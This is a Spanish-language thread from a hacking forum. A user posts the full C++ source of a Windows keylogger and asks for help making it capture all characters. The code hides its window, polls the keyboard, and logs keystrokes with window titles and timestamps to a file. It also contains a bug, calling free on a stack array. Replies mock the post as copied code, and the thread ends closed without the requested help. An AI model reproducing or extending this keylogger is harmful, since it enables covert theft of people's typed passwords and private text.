Hack x Crack - Comunidad de Seguridad informática

Programación => C / C++ => Mensaje iniciado por: Citrusl en Septiembre 28, 2014, 02:09:20 am

Título: Ayuda a terminar Keylogger ASCII?? UNICODE??
Publicado por: Citrusl en Septiembre 28, 2014, 02:09:20 am
(pedido a los MODS borrar el tema una vez resuelto por favor).

Buenas gente, necesito ayuda con este Keylogger.

Su función es reconocer lo que uno escribe en el teclado y guardarlo en un archivo .log

Funciona, pero está incompleto. (tener en cuenta que cuando se ejecuta se esconde el programa) Para cerrarlo deben terminar el proceso en el administrador de tareas. Otra cosa... en la carpeta que corrieron el .exe les va a crear un .log (de texto) donde guarda lo que ustedes teclearon.

Necesito ayuda, nose como hacer para que me reconosca todo el codigo ASCII y unicode.
Es decir todos los simbolos, numeros y opciónes posibles...

Les doy un ejemplo de los errores:

Si uno teclea Shift+' o Shift+¡ en teoría debería detectar el ? y el ¿ Pero sin embargo solo escribe en el log lo siguiente:  Shift ' Shift ¡ y si escribo ' o ¡ al lado de eso se confunde. Es decir no podría reconocer si se tecleo ¡ o Shift+¡  Me entienden?

No creo que reconosca todo el codigo ASCII... ademas si alguien teclear ALT+999987987 El programa no lo reconocería...

Por favor ayuda. Tengan en cuenta que este programa debe reconocer TODO. Ningun cabo suelto!!



Código: C++
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>
  4. #include <time.h>
  5.  
  6. /*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
  7. #define OK -32767
  8.  
  9. int main()
  10. {
  11.    
  12.     FILE *log;
  13.     HWND ventana=GetForegroundWindow();
  14.     ShowWindow(ventana,SW_HIDE);
  15.     time_t ltime; //para obtener la hora del equipo
  16.     int tecla=0; /*obtiene el código ascii de la tecla pulsada*/
  17.     int cont=0;
  18.     char TVentana[500] = "";  //para el texto de la ventana activa
  19.     //para almacenar las teclas que se pulsan
  20.     char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
  21.     char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
  22.                           /*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
  23.                           /*2*/      "","","","","","","[Esc]","","","",
  24.                           /*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
  25.                           /*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
  26.                           /*5*/      "3","4","5","6","7","8","9","","","",
  27.                           /*6*/      "","","","","a","b","c","d","e","f",
  28.                           /*7*/      "g","h","i","j","k","l","m","n","o","p",
  29.                           /*8*/      "q","r","s","t","u","v","w","x","y","z",
  30.                           /*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
  31.                           /*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
  32.                           /*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
  33.                           /*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
  34.                           /*13*/     " "," "," "," "," "," "," "," "," "," "," ",
  35.                           /*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
  36.                           /*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
  37.                           /*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
  38.                           /*17*/     " "," "," "," "," "," "," "," "," "," ",
  39.                           /*18*/     " "," "," "," "," "," "," ",",","-",".",
  40.                           /*19*/     " "," "," "," "," "," "," "," "," ",
  41.                           /*20*/     " "," "," "," "," "," "," "," "," "," "," ",
  42.                           /*21*/     " "," "," "," "," "," "," "," ","'","\\",
  43.                           /*22*/     "¡","´" };
  44.      
  45.    log=fopen("log.log","a");
  46.    fprintf(log,"\n________________________________");
  47.    fprintf(log,"\n.
  48. KeyLoGuer                 .");
  49.  
  50.    fprintf(log,"\n.
  51. Iniciando...OK            .");
  52.  
  53.    fprintf(log,"\n________________________________\n");
  54.    fclose(log);
  55.            
  56.    
  57.    while(1)
  58.    {
  59.       if((GetForegroundWindow()!=ventana) || (cont==850)) // Si se ha cambiado de ventana OR cont==850, QUÉ hace/es cont???
  60.       {
  61.          if(strlen(TVentana)>0 && strlen(Teclas)>0) // si se ha teclado algo...
  62.          {
  63.             time(&ltime); // tiempo...
  64.             ctime(&ltime); // tiempo...
  65.  
  66.             log=fopen("log.log","a");
  67.             fprintf(log,"\n\n
  68. Fecha: %s",ctime(&ltime)); // escribir en el log la fecha
  69.  
  70.             fprintf(log,"[-] Ventana: %s ",TVentana); // escribir en el log la ventana registrada
  71.             fprintf(log,"\n    Texto: %s",Teclas); // escribir en el log las teclas registradas
  72.             fprintf(log,"\n ");
  73.             fprintf(log,"\n/******************************/\n");
  74.             fclose(log); // cerrar log
  75.  
  76.             free(Teclas); // liberar espacio usado por Teclas
  77.             strcpy(Teclas,""); // Teclas ya no tiene carácteres (se vacía el buffer)
  78.             cont = 0; // qué hace esto?
  79.          }
  80.          ventana=GetForegroundWindow(); // "Refrescar" el ID de la ventana ( Actualizarlo... )
  81.       }
  82.  
  83.       else
  84.       {
  85.         GetWindowText(ventana,TVentana,500); // Coger el ID de la ventana, O NO? como máximo el ID corresponde a 500 carácteres (499 + '\0')
  86.       }
  87.      
  88.       for(tecla=4;tecla<256;tecla++) // Esto bucle for me es INCOMPRENSIBLE, para qué sirve y porqué sólo se ejecuta 153 veces?
  89.       {
  90.           if (GetAsyncKeyState(tecla)==OK) // Si corresponde a algún código ASCII
  91.           {
  92.               strcat(Teclas,simbol[tecla]); // Tecla pulsada = tecla que corresponde al array simbol...Ok, pero, no entiendo cómo se organiza el array simbol, entiendo esto, pero no eso de tanta cosa entrecomillada, espacios, etc.
  93.               printf(" %s \n" ,simbol[tecla]); // printf?? entonces no se escribiría en el log??? debería ser un fprintf?? no entiendo, por favor, ayúdenme...
  94.               cont++; // Sumar uno a "cont", que no sé qué es...
  95.           }
  96.       } /* FIN del bucle FOR */
  97.    } /* FIN del bucle WHILE(1); */
  98. } /* FIN de int main(); */
Título: Re:Ayuda a terminar Keylogger ASCII?? UNICODE??
Publicado por: mrobles en Septiembre 28, 2014, 02:35:29 am
muy currado, parece hecho por todo un pro
http://foro.hackxcrack.net/?topic=1758.0
Título: Re:Ayuda a terminar Keylogger ASCII?? UNICODE??
Publicado por: Citrusl en Septiembre 28, 2014, 02:51:02 am
Sí es currado, pero no soy el unico. Y de todos los que lo curraron , soy el que busca perfeccionarlo. (de todas formas nadie sabe quien es el dueño) La versión mas vieja que encontré fue del 2011 creo de este mismo key.

Considero que es un desperdicio de talento y código como para dejarlo así a la ligera.

Quiero mejorarlo y terminar su trabajo! Ayuda! 
Título: Re:Ayuda a terminar Keylogger ASCII?? UNICODE??
Publicado por: b10s_0v3rr1d3 en Septiembre 28, 2014, 04:13:08 am
@Citrusl: sea la fuente que sea es una falta de respeto el hecho de ocultar el autor original en el codigo (puesto que el header esta borrado) aunque modifiques el code....

___closed___